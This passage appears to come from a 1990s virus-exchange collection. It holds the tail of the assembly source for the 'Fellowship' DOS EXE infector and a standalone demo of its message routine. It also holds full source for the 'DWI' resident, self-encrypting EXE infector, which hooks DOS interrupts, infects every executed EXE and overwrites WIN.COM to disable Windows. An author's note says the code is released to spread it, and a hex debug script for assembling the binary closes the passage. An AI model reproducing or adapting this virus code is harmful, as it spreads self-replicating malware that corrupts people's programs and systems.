scasb ; hunt out end mov al, es:[di-2] and al, 5Fh ; capitalize cmp al, 45h ; 'E' jne getthefuckback ; non an EXE! lds dx, dword ptr cs:[filesave] ; DS:DX = File seg:ofs mov ax, 3D00h ; open file int 21h jc getthefuckback mov bx, ax ; !!! push cs pop ds mov dx, offset readbuffer ; read exe header mov cx, 1Ch mov ax, 3F00h int 21h jc closeitupandleave ; oh, the sins... cmp word ptr [negativechksm], 1990h ; infected? jne getonwithit closeitupandleave: mov ax, 3E00h ; close file int 21h jmp short getthefuckback getonwithit: mov ax, 3524h ; get int 24h vector int 21h mov word ptr [Old24], bx ; save it mov word ptr [Old24+2], es mov dx, offset int_24h_entry ; set int 24f vector mov ax, 2524h int 21h lds dx, dword ptr filesave ; DS:DX = file seg:ofs mov ax, 4300h int 21h ; get attributes jc whatapity ; to err is computer mov word ptr cs:[oldattr], cx ; save attributes and cx, 0FEh ; blank the boring mov ax, 4301h int 21h ; change attributes jnc nowramitinthere whatapity: lds dx, dword ptr cs:[Old24] ; restore int 24h mov ax, 2524h ; vector int 21h jmp getthefuckback nowramitinthere: cld sti lds dx, dword ptr cs:[filesave] ; DS:DX = file seg:ofs mov ax, 3D02h ; open read/write int 21h jc whatapity mov bx, ax ; !!! push cs pop ds mov cx, 200h ; 512 (bytes per par) mov si, offset readbuffer ; header! mov ax, [si+16h] ; initial CS mov word ptr [oldcsip+2], ax mov ax, [si+14h] ; initial IP mov word ptr [oldcsip], ax mov ax, [si+4] ; paragraphs cmp word ptr [si+2], 0 ; bizzare quirk je notquirky dec ax notquirky: mul cx ; dx:ax = bytes add ax, [si+2] ; add modulo adc dx, 0 add ax, 0Fh ; add 16 mo' adc dx, 0 and ax, 0FFF0h mov word ptr [savedvalu1], ax ; save new CS:IP mov word ptr [savedvalu2], dx ; (still in bytes!!) add ax, endwrite-start ; add virus length adc dx, 0 div cx ; cx in paragraphs or dx, dx jz notquirkier inc ax ; quirk again notquirkier: mov [si+4], ax ; replace paragraphs mov [si+2], dx ; replace modulo mov ax, word ptr [savedvalu1] ; load saved CS:IP mov dx, word ptr [savedvalu2] ; (still in bytes!!) mov cx, 10h ; paragraphs div cx sub ax, [si+8] ; loose header size mov [si+16h], ax ; replace IP mov ax, 0 mov [si+14h], ax ; replace cs mov word ptr [si+12h], 1990h ; show as infected mov dx, word ptr [savedvalu1] ; move to end as mov cx, word ptr [savedvalu2] ; shown by header mov ax, 4200h int 21h mov cx, endwrite-start ; write the virus! mov dx, offset ds:[0] mov ax, 4000h ; !!! int 21h jc thisistheendmyonlyfriend ; an error, this far? xor cx, cx ; seek top mov dx, cx ; !!! mov ax, 4200h int 21h mov dx, offset readbuffer ; write buffer mov cx, 1Ch mov ax, 4000h int 21h thisistheendmyonlyfriend: mov ax, 3E00h ; close file int 21h lds dx, dword ptr [filesave] ; DS:DX = File Seg:ofs mov cx, cs:[oldattr] ; restore attribs mov ax, 4301h int 21h jmp whatapity ; restore int 24h savemode db 0 charcolor db 0 nicemessage1 db 'This message is dedicated to $' nicemessage2 db 'all fellow PC users on Earth $' nicemessage3 db ' Towards A Better Tomorrow $' nicemessage4 db 'And A Better Place To Live In $' itstheninthhoney: push cs pop ds mov ah, 0Fh ; get video mode int 10h mov byte ptr [savemode], al ; save mode mov ax, 5 ; set mode 40x25 int 10h mov byte ptr [charcolor], 1 mov dh, 9 call setcursor mov dx, offset nicemessage1 call printstring mov dh, 0Ah call setcursor mov dx, offset nicemessage2 call printstring mov byte ptr [charcolor], 2 mov dh, 0Ch call setcursor mov dx, offset nicemessage3 call printstring mov dh, 0Dh call setcursor mov dx, offset nicemessage4 call printstring mov cx, 0FFFFh ; kill time killloop: lodsb loop killloop xor ax, ax ; wait fo' a key int 16h mov al, byte ptr [savemode] ; restore old mode mov ah, 0 ; on the vid int 10h jmp getthefuckback ; GO HOME! printstring: cld mov si, dx printloop: lodsb cmp al, '$' je alldoneprinting ; end of string mov ah, 0Eh ; write a byte mov bh, 0 ; to tha' vid mov bl, byte ptr [charcolor] int 10h jmp short printloop alldoneprinting: ret setcursor: mov dl, 5 ; set cursor pos mov ah, 2 mov bh, 0 int 10h ret db ' 03/03/90 KV KL MAL ' ; whee... endwrite: end start ========================================================================== ; Stand alone demonstration of the Fellowship Virus activation routine. ; Assemble with: ; tasm fbomb /m2 ; tlinl fbomb /t .model tiny .code org 0100h start: jmp short itstheninthhoney savemode db 0 charcolor db 0 nicemessage1 db 'This message is dedicated to $' nicemessage2 db 'all fellow PC users on Earth $' nicemessage3 db ' Towards A Better Tomorrow $' nicemessage4 db 'And A Better Place To Live In $' itstheninthhoney: push cs pop ds mov ah, 0Fh ; get video mode int 10h mov byte ptr [savemode], al ; save mode mov ax, 5 ; set mode 40x25 int 10h mov byte ptr [charcolor], 1 mov dh, 9 call setcursor mov dx, offset nicemessage1 call printstring mov dh, 0Ah call setcursor mov dx, offset nicemessage2 call printstring mov byte ptr [charcolor], 2 mov dh, 0Ch call setcursor mov dx, offset nicemessage3 call printstring mov dh, 0Dh call setcursor mov dx, offset nicemessage4 call printstring mov cx, 0FFFFh ; kill time killloop: lodsb loop killloop xor ax, ax ; wait fo' a key int 16h mov al, byte ptr [savemode] ; restore old mode mov ah, 0 ; on the vid int 10h int 20h printstring: cld mov si, dx printloop: lodsb cmp al, '$' je alldoneprinting ; end of string mov ah, 0Eh ; write a byte mov bh, 0 ; to tha' vid mov bl, byte ptr [charcolor] int 10h jmp short printloop alldoneprinting: ret setcursor: mov dl, 5 ; set cursor pos mov ah, 2 mov bh, 0 int 10h ret db ' 03/03/90 KV KL MAL ' ; whee... endwrite: end start ========================================================================== ==================== DWI Virus Source By The Attitude Adjuster and AccuPunk ==================== Here's the source to one of our new older viruses... Both 'Punk and I did a little bit on this one, but, 'Punk thought it all up... I just kinda fucked around with the code when he said he was bored with it... Anyway, I can't really give you too much help here, as this code isn't at all the greatest, but, I include it to get this virus out into the world. Umm, assemble two pass, and link to an EXE. Modfiy the header to make the maximum memory allocation equal to the minimum, and the fucker should run... I'm really not going to test it right now, mainly because it's late, and I AM releasing this tonight... =========================================================================== Virus Name: Damn Windows Idiot! Aliases: Anti-Windows Author(s): AccuPunk/The Attitude Adjuster Group: Virulent Graffiti Scan ID: [DWI] V Status: Abortion Discovery: Well, see, we were in LIST.COM and we saw this code... Symptoms: EXE growth; messages; something to do with WIN.COM Orgin: WestBumbleFuck, Ohio DipShitPeak, New York Eff Length: 1063 Bytes Res Length: 1280 Bytes Type Code: PRhE - Parasitic Resident EXE Infector Detection Method: Removal Instructions: Cry... Delete Windows... Increase wallet space, hire and Antivirus Professional ("...two words together that can't make sense!"). General Comments: DWI will become resident after first checking for it's own presence in memory. DWI places itself into high memory, and changes it's MCB owner to the usual DOS MCB owner segment. This may be changed to retrive the DOS MCB owner from DOS, in the future, but this suffices at the present. Int 21h is revectored to Int 30h where the virus uses it for DOS calls. The FAR PTR at Int 30h+1 is lost. Upon the execution of any program using Int 21h/Ax=4B00h, DWI will check the file for an 'MZ' header, and if found, infect the file, leaving the time, date, and attributes of the file unchanged. DWI seems to have an adverse effect on WIN.COM when it is run. Other than the offensive WIN.COM program, DWI will not harm any data... If DESQView is found, the host system owner will be wired $100,000 for choosing a decent multitasking operating system... err... maybe not, but, we'll not screw any .COM files. Strings Contained in the Virus: '[DWI] AccuPunk/The Attitude Adjuster Virulent Graffiti' 'WIN.COM' Future Revision Notes: There will probably be no future revisions of DWI. We may optomize it a little, and rip the engine for use in a planned virus, but, as I said, there will probably be no DWI-B. =========================================================================== ; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows... ; [] ][ [] [] [] ; [] [] [] [] [] An original Viral Artform by ; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of ; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703! ; [][] ][ ][ [][][] ; "Hey, you... with the shitty logo... Yeah, you! Get over here!" .model tiny .code org 100h id_word equ '1V' ; Marker Word ; V1 in Lil' Endian entry: mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations Valu: mov dx, 0000h ; Xor Word Crypt_Loop: xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd) ror word ptr cs:[bx], 1 ; Roll it Right! inc bx inc bx loop Crypt_Loop EndCrypt: push ds es ; Save Segments push cs cs ; CS=DS=ES pop ds es mov ax, 0ABCDh ; R-U-There? int 21h cmp ax, 6969h ; Ax=6969h Vir_Ident jne put_vir_in_mem ; No. exit: pop es ds ; Restore Segments mov ax, es ; AX = PSP segment add ax, 10h ; Adjust for PSP mov cx, ax add ax, word ptr cs:[stacksave] ; Adjust SS cli mov sp, word ptr cs:[stacksave+2] ; Set SP mov ss, ax ; Set SS sti mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg add bx, cx push bx ; Save It mov bx, word ptr cs:[jmpsave] ; Load IP push bx ; Save It retf ; Exit Virus jmpsave dd 0fff00000h ; Point to INT 20h stacksave dd ? ; Nada. put_vir_in_mem: xor ax,ax ; Interrupt Table mov ds,ax les bx, dword ptr ds:[21h*4] ; Int 21h Vector mov word ptr cs:[old_int_21], bx ; Save Int 21h mov word ptr ds:[30h*4],bx ; Revector 30h mov word ptr cs:[old_int_21+2], es mov word ptr ds:[30h*4+2], es push cs cs ; Restore Segments pop es ds mov ax, 5800h ; Get Mem Alloc int 21h push ax ; Save Strategy mov bx, 2 mov ax, 5801h ; Set to Last Fit int 21h mov bx, ((end_vir - entry) / 16) + 1 mov ah, 48h ; Allocate Block int 21h push ax ; Returned in AX sub ax, 10h ; Base Ofs 100h mov es, ax ; Our Segment mov di, 100h ; Entry = 100h mov si, di ; Entry = 100h mov cx, end_write - entry ; Bytes to Zopy rep movsb xor cx, cx ; Interrupt Table push cx pop ds cli mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h mov word ptr ds:[21h*4+2], ax sti pop ax sub ax, 1 mov es, ax ; Point To MCB mov word ptr es:[0001], 0008 ; Config = 0008h mov ax, 5801h ; Reset Strategy pop bx int 21h jmp exit ; Exit Stub int_21_handler: push ax bx cx dx si di bp es ds ; Save Registers cmp ax, 0ABCDh ; R-U-There? je r_u_there cmp ax, 4B00h ; DOS Exec? je exec_call back_to_dos: pop ds es bp di si dx cx bx ax ; Restore Registers db 0eah ; JMP XXXX:YYYY old_int_21 dd ? remove_locks: xor ax,ax ; Interrupt Table mov ds,ax les ax, dword ptr cs:[Old24] ; Get Int 24h Vector mov word ptr ds:[24h*4], Ax ; And Replace It mov word ptr ds:[24h*4+2], Es jmp back_to_dos r_u_there: mov bp, sp ; Alter AX On Stack mov word ptr [bp+10h], 6969h jmp end_int_21 exec_call: xor ax,ax ; Revector Int 24h mov ds,ax les ax, DWord Ptr ds:[24h*4] mov word ptr cs:[Old24], ax ; Save Old Vector mov word ptr cs:[Old24+2], es mov word ptr ds:[24h*4], Offset My24 ; With Our Vector mov word ptr ds:[24h*4+2], cs pop es ; Caller's Ds in Es push es mov di, dx ; ES:DI -> filename push cs pop ds ; DS:SI -> "WIN.COM" mov si, offset win_com push si find_top: pop si push si lodsb ; AL = "W" mov cx, 128 repnz scasb ; Scan For "W" je check_it ; Got a "W", Check It pop si jmp infect ; Not WIN.COM check_it: mov cl, 7 check_char: lodsb ; Load Next Character scasb ; and Check it jne find_top ; Leave if < > loop check_char pop si nuke_windows: push es pop ds mov ax, 3d02h ; Open WIN.COM int 30h xchg ax,bx ; Handle in BX push cs pop ds mov ah, 40h ; Write WIN.COM mov cx, (my24-win_exit)-1 mov dx, offset win_exit ; with CD 20h int 30h mov ah, 3eh ; Close File int 30h mov ah, 9 ; Show User Message mov dx, offset win_msg int 30h end_int_21: pop ds es bp di si dx cx bx ax ; Restore Registers iret infect: ; File Infection push es pop ds mov si, dx ; DS:SI -> filename push cs pop es mov di, offset fname LoopAgain: ; Copy filename into lodsb ; Our CodeSeg. stosb or al,al jnz LoopAgain push cs ; CS=DS=ES pop ds xor ax, ax ; Get Attributes call attributes mov word ptr [fattr], cx ; Save Attributes mov ax, 3D00h ; Open File int 30h jc bad_exe xchg ax, bx ; BX = File Handle mov ax, 5700h ; Get File Date/Time int 30h mov ftime, cx ; Save Time mov fdate, dx ; And Date mov ah, 3Fh ; Read Header mov cx, 1ah mov dx, offset buffer ; Into Buffer int 30h call LSeekEnd ; LSeek the End push dx ; Save File Size push ax mov ah, 3Eh ; Close File int 30h cmp word ptr [buffer], 'ZM' jne worse_exe ; Not an EXE File cmp word ptr [buffer+12h], id_word jne good_exe ; Not Infected worse_exe: pop dx ; Remove Saved File pop dx ; Size bad_exe: jmp remove_locks ; Abort Infection good_exe: mov al, 01h ; Overwrite Attribs xor cx, cx call attributes jc worse_exe ; Catch Write-Prot ; Discs Here push cs pop es mov si, offset buffer + 14h ; Save Initial CS:IP mov di, offset jmpsave ; In Segment movsw movsw sub si, 10 ; Save Initial SS:SP movsw movsw pop ax dx ; Retrive File Size push ax dx ; Save It add ax, offset end_write - offset entry adc dx, 0 mov cx, 512 ; Pages 512 Bytes div cx or dx, dx jz no_round inc ax ; Rounding Quirk no_round: mov word ptr [buffer + 4], ax ; Set Total 512 pages mov word ptr [buffer + 2], dx ; Set Total mod 512 mov ax, word ptr [buffer + 0Ah] ; Get Minimum add ax, (end_write - entry)/16 ; Add our Size mov word ptr [buffer + 0ah], ax ; Put us in Minimum mov word ptr [buffer + 0ch], ax ; and in the Maximum pop dx ax ; Retrieve File Size mov cl, 4 mov bx, word ptr [buffer + 8] shl bx, cl ; BX = Header Size sub ax, bx sbb dx, 0 ; Subtract Header mov cx, 10h div cx ; Change To Para/Rem or dx, dx jz no_padding sub cx, dx ; CX = Bytes to Pad inc ax no_padding: push cx ; Save Pad Bytes sub ax, 10h mov word ptr [buffer + 14h], offset entry ; Set IP mov word ptr [buffer + 16h], ax ; Set CS mov word ptr [buffer + 0Eh], ax ; Set SS mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP move_id: mov word ptr [buffer + 12h], id_word ; Set ID Word ; Negative Checksum mov ax, 3D02h ; Open File mov dx, offset fname int 30h xchg ax, bx ; BX = File Handle mov ah, 40h ; Write File mov cx, 1Ah mov dx, offset buffer int 30h call LSeekEnd ; LSeek to End pop cx ; Retrieve Padding cmp cx, 16 je no_fixup ; None Needed mov ah, 40h ; Write File int 30h no_fixup: mov ah, 2ch ; Get Time int 21h mov word ptr [Valu+1], Dx ; New Crypt Valu mov si, offset writeret ; Copy Write mov di, offset tempcrypt ; Routine mov cx, (end_write-writeret) rep movsb call tempcrypt ; Call Write Routine mov ax, 5701h ; Set File Time/Date mov cx, ftime mov dx, fdate int 30h mov ah, 3Eh ; Close File int 30h mov al, 01h ; Reset Attribs mov cx, fattr call attributes jmp remove_locks ; Remove Int 24h vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author db 'The Attitude Adjuster' ; Idents vir_group db 0,'Virulent Graffiti',0 ; Group Ident win_com db 'WIN.COM',0 ; Target File win_exit db 0cdh, 20h ; DOS Exit win_msg db 0dh,0ah ; Message db 'You''ve been caught, you DWI! You''re nothing ' db 'but a Damn Windows Idiot!',0dh,0ah db 'Well, we at Virulent Graffiti have had it... ' db 'you''re not going to be',0dh,0ah db 'running that bullshit for a while, ''cuz, hey, ' db 'friends don''t let friends',0dh,0ah db 'use Windows! (and you''re damn right we''re ' db 'your friends!)',0dh,0ah,'$' my24: ; Error Handler mov al, 3 ; Process Terminate iret Attributes: ; Get/Set mov ah, 43h mov dx, offset fname int 30h ret LSeekEnd: mov ax, 4202h ; LSeek from End xor cx, cx cwd ; XOR DX, DX int 30h ; Kudos DA ret WriteRet: push bx ; Handle mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations mov dx, Word Ptr [Valu+1] ; Xor Word Crypt_Loop2: rol word ptr [bx], 1 ; Roll it Left! xor word ptr [bx], dx ; Xor It inc bx inc bx loop Crypt_Loop2 pop bx ; Handle mov ah, 40h ; Write File mov cx, end_write - entry mov dx, offset entry int 30h push bx ; Handle mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations mov dx, Word Ptr [Valu+1] ; Xor Word Crypt_Loop3: xor word ptr [bx], dx ; Xor It ror word ptr [bx], 1 ; Roll it Left! inc bx inc bx loop Crypt_Loop3 pop bx ; Handle ret ; Return end_write: old24 dd 0 ; Int 24h Vector buffer db 1Ah dup (0) ; EXE Read Buffer fname db 128 dup (0) ; Filename Buffer fdate dw 0 ; OldFileDate ftime dw 0 ; OldFileTime fattr dw 0 ; OldFileAttr tempcrypt: db (end_write-writeret) Dup(0) ; Write Routine end_vir: end entry =========================================================================== Oh, yea, and, a debug script for all you guys who, like me, had problems assembling this mis-mash of garbage... =========================================================================== a db 4D 5A CE 01 05 00 00 00 02 00 E7 0F E7 0F 4A 00 db F2 06 56 31 00 01 4A 00 1C 00 00 00 00 00 00 00 db BE 30 01 8B FE B9 B1 02 AD 33 06 2E 01 AB E2 F8 db B4 0F CD 10 B4 00 CD 10 B8 03 13 B9 30 02 33 D2 db BD 30 01 CD 10 B4 09 BA 90 05 CD 21 CD 20 3E 2F db 1E 20 1E 20 1E 20 E2 25 1E 25 1E 25 1E 25 E2 25 db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25 db 1E 25 1E 25 E2 25 1E 25 1E 25 E2 25 1E 25 E2 25 db 1E 25 1E 25 1E 25 1E 25 E2 25 E2 25 1E 25 E2 25 db 1E 25 1E 25 E2 25 1E 25 E2 25 E2 25 E2 25 1E 25 db 1E 25 1E 25 1E 25 E2 25 E2 25 E2 25 E2 25 1E 25 db E2 25 E2 25 E2 25 1E 25 1E 25 1E 25 E2 25 1E 25 db 1E 25 1E 25 E2 25 E2 25 1E 25 1E 25 E2 25 E2 25 db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25 db 1E 25 E2 25 E2 25 E2 25 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 db E5 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db E5 25 E2 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E1 25 1E 25 db E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 E2 25 E1 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db 1E 25 E1 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 db E5 25 E2 25 E1 25 1E 25 E2 25 E1 25 1E 25 E5 25 db 1E 25 E5 25 E1 25 E1 25 1E 25 E5 25 E1 25 E1 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 1E 25 E5 25 E1 25 1E 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E2 25 E2 25 1E 25 db E5 25 1E 25 E5 25 1E 25 E5 25 E2 25 E2 25 E5 25 db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 25 1E 25 1E 25 E5 25 1E 25 E2 25 E1 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 E1 25 E2 25 1E 25 E5 25 1E 25 E5 25 db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E1 25 E2 25 1E 25 E2 25 E1 25 1E 25 db E5 25 1E 25 E5 25 1E 25 E5 25 1E 25 1E 25 E5 25 db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25 db 1E 25 E1 25 E1 25 E1 25 1E 25 E1 25 1E 25 E1 25 db 1E 25 1E 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25 db E1 25 E1 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25 db 1E 25 1E 25 E1 25 1E 25 1E 25 E1 25 1E 20 1E 20 db 1E 20 1E 20 1E 20 1E 20 E1 25 1E 25 1E 25 1E 25 db E1 25 1E 25 E1 25 1E 25 E1 25 1E 25 1E 25 E1 25 db 1E 25 E1 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25 db 1E 25 E1 25 E1 25 E1 25 1E 25 1E 25 E1 25 1E 25 db 1E 25 E1 25 E1 25 E1 25 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 db 68 20 57 20 4C 20 4B 20 4D 20 1E 20 6E 20 4C 20 db 51 20 5A 20 4B 20 5D 20 4A 20 57 20 51 20 50 20 db 1E 20 71 20 4C 20 59 20 5F 20 50 20 57 20 44 20 db 5F 20 4A 20 57 20 51 20 50 20 12 20 1E 20 0C 21 db 0F 21 08 21 11 26 0B 21 0F 21 0D 21 11 26 07 21 db 0F 21 0A 21 11 26 08 21 0E 21 0C 21 11 26 09 21 db 0E 21 0D 21 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 db 33 25 1E 0F 1E 60 50 4C 5B 0F 5F 48 5F 46 50 03 db 1E 58 5B 0F 49 46 4D 47 1E 5B 51 0F 4A 47 5F 41 db 55 0F 47 40 4B 0F 58 40 4C 0F 47 40 4B 5D 1E 4C db 56 40 57 4C 5B 0F 51 49 1E 49 57 41 5B 03 1E 5E db 4B 4E 52 46 4A 56 1E 59 57 5D 4B 5C 33 25 4E 5D db 51 48 4C 4E 53 42 57 41 59 01 1E 78 5B 0F 5F 5B db 1E 79 57 5D 4B 43 5B 41 4A 0F 79 5D 5F 49 58 46 db 4A 46 1E 47 5F 59 5B 0F 53 4E 5A 4A 1E 4E 52 43 db 1E 5F 51 5C 4D 46 5C 43 5B 0F 5B 49 58 40 4C 5B db 4D 0F 4A 40 1E 5C 5B 4A 33 25 4A 47 5F 5B 1E 0F db 51 5A 4C 0F 5D 40 5A 4A 1E 0F 57 5C 1E 40 58 0F db 1E 5B 56 4A 1E 4D 5B 5C 4A 0F 4F 5A 5F 43 57 5B db 47 01 1E 78 5B 0F 1E 58 57 5C 56 0F 47 40 4B 0F db 52 5A 5D 44 1E 40 50 0F 47 40 4B 5D 1E 5B 5F 5C db 55 0F 51 49 33 25 52 4A 5F 5D 50 46 50 48 1E 17 db 0E 57 06 19 1E 4E 4D 5C 5B 42 5C 43 47 01 33 25 db 33 25 24 00 00 00 00 00 00 0A 00 01 00 0C 00 01 db BB 13 01 B9 04 02 BA 1F 16 2E 31 17 2E D1 0F 43 db 43 E2 F6 23 1A 03 0A 21 18 6E 8D 48 8D 5D 6C CD db C4 F5 4A 11 28 06 97 15 36 1E 00 8F 4B 19 1A 85 db 14 EB 4B 09 5B 81 14 02 B7 E9 4B 09 2B 89 14 18 db A4 B9 4A 09 2B 8D 14 B8 80 1F 14 FE E9 FE E9 E2 db E9 78 96 02 A7 97 2B 17 17 42 04 22 BA 1C 04 22 db 96 1F 4A 07 1B AF 15 07 1B 9B 17 03 0A 11 28 6F db 17 AE 8C 5D B6 69 13 1E 66 1D A6 85 55 69 B7 1E db 7E 8E 8C 5D B6 45 36 1E 0A 9E 69 1F 14 08 F9 6D db 21 16 F0 57 71 8D B5 20 E2 91 1B 17 17 6D 15 58 db 1B 1E E0 AF 4C 1D 16 02 97 52 98 13 14 1F 06 1E db 66 1D A6 A8 8C 5C C4 CA E8 BF B0 BD B2 B3 B8 B5 db 1A 23 6C 84 41 F7 5C 65 16 89 FE 4D 28 11 AC A1 db AA AB A4 A9 A6 CA 2B 3F 3A 1D 70 9E 0B AF 4B 97 db 1B 29 1C 58 37 1E 0E 12 32 1E C0 DE 01 C6 99 93 db 36 CD C4 C9 A3 78 96 02 A7 97 1B 3F 17 42 50 29 db 1C 42 0E 13 2C 14 98 12 36 1E BE 16 0E 02 32 1F db 18 12 00 EB 0B 20 6A 7D 11 B3 AA B2 4E 6C 17 1E db F2 43 FF 19 AA C9 73 7D 19 46 4B F4 CC DA E3 A3 db 1A 20 66 1B 6C 85 77 39 0B 20 7E 9E 64 2B 14 6A db 65 18 8C 7E 7E 62 8C 7E 7E 0C 62 69 11 85 77 21 db 18 A5 A8 A3 A2 AD A0 AE 88 13 28 08 F3 03 18 61 db 65 14 4E 4B 03 9F FD EB 0B 21 70 9E C7 CF 12 0D db 0B 65 1D 6F 17 64 8C 7F F2 78 30 6F 17 B0 8C 7E db 04 02 60 14 04 32 64 14 7E 60 64 2B 16 6B 29 14 db 8C 7E C6 8B 12 BB B6 77 6B 85 77 1D 6B 21 1C 85 db A2 F5 06 1D 6B 7D 1C B3 74 F5 1C AB A2 CD 43 E0 db 77 1D 70 8C C7 5F 12 FA F2 03 18 63 71 14 68 8D db 14 54 5D 18 CB 0A 5C 55 A7 AB B6 BB 1C 29 1E 18 db B3 1E 64 1F 12 F0 F5 08 B2 F7 14 9E 50 59 1C 0D db 3B 5D 1C 5D 45 15 1C 9D 16 59 45 14 50 49 1C AB db A6 7D 1F 09 2B 51 1C B8 D1 48 90 18 A3 1E 64 3F db 16 F0 F5 08 B2 F7 10 48 82 9F B4 45 36 1E 98 13 db 70 15 16 1C 50 75 1C 59 4D 14 98 13 48 14 F2 12 db 98 13 74 15 BA 7C 66 1B 6C 6B 65 14 8C 7E 30 77 db 97 6D 23 1E 62 21 1C 85 77 CE 51 1D A4 18 E5 3F db FE 16 7E 9E 8C 7E 7E 46 8C 5C 04 33 18 1C 6A CF db 1F 60 69 14 64 79 16 F8 5F CF D1 1A 66 1D B8 09 db 0B 69 1D 09 3B 6D 1D 85 77 77 6B 85 77 7F 15 09 db 0B 65 1D CF D5 1C C4 DC EA 1F A0 97 B8 8D AC 5F db 94 D9 D0 F5 B6 F5 CA C9 48 B7 C6 D5 56 9D FE F7 db C4 F7 FC D7 DC 5F 94 D7 C2 F5 F0 F7 DC FB 16 B3 db C4 FB FC C7 DC C3 FE 5F 98 FB D4 D3 DA CD FE CD db 16 B1 84 83 4A 99 88 85 16 85 57 05 02 AD C8 F5 db 58 F3 DC 5F D2 D5 DC C3 56 D9 D4 F5 D8 CF FE 47 db 56 ED C8 F5 56 97 B8 8D 54 5F A4 C1 FC 51 F2 D5 db 56 C3 C8 F7 C6 CD CA D1 56 DB FC F7 56 DD 56 97 db D4 C5 CA 5F 56 B1 C4 C3 DE C1 F8 F9 56 5F 84 D7 db C4 C1 FE 5D 0C 0B B8 D5 CE C7 4E 5F F8 D5 56 DD db FE 5F BA CD F2 F5 CE D5 CA F7 56 91 F2 DD DA D3 db C4 F7 C4 5F C6 DD FA D5 56 5F C6 DD DE 5F C4 F7 db 4A 43 4A 5F 56 ED C8 F5 58 FB DC 5F 56 C3 C8 F7 db 56 D1 C8 CD CA D1 56 5F FE C1 56 DB DC 05 02 FB db FC C3 CA CD CA D1 56 F7 C6 DD FE 5F D2 F5 CE C7 db F0 CF C4 F7 56 D3 C8 FB 56 DD 56 F1 C6 CD CE D5 db 4E 5F 58 D9 FC EB 4E 5F C6 D5 E4 47 56 D3 F2 CD db DC C3 DE F9 56 D7 C8 C3 58 F7 56 C7 DC F7 56 D3 db F2 CD DC C3 DE F9 0C 0B FC F9 DC 5F B8 CD CA D7 db C8 F1 F0 5D 56 5F 46 DD CA D7 56 ED C8 F5 58 FB db DC 5F DE DD CC C3 56 FB C4 D1 C6 F7 56 F1 DC 51 db F2 D5 56 ED C8 F5 F2 5F DA FB C4 D5 CA D7 F0 5D db 44 05 02 56 76 18 88 77 91 6B 65 14 8C 7E 90 6F db 13 9B 70 8C 25 85 77 99 B1 69 31 1C 64 17 12 09 db 3B 11 14 BD 19 7D 38 99 90 DA E7 A8 7E 9E 64 29 db 1E 6B 17 1C 8C 7F B0 69 31 1C 64 17 12 09 3B 11 db 14 7D 38 BD 09 99 90 DA E7 A8 90 75 22 E3 0A 93 db 8B 4F 08 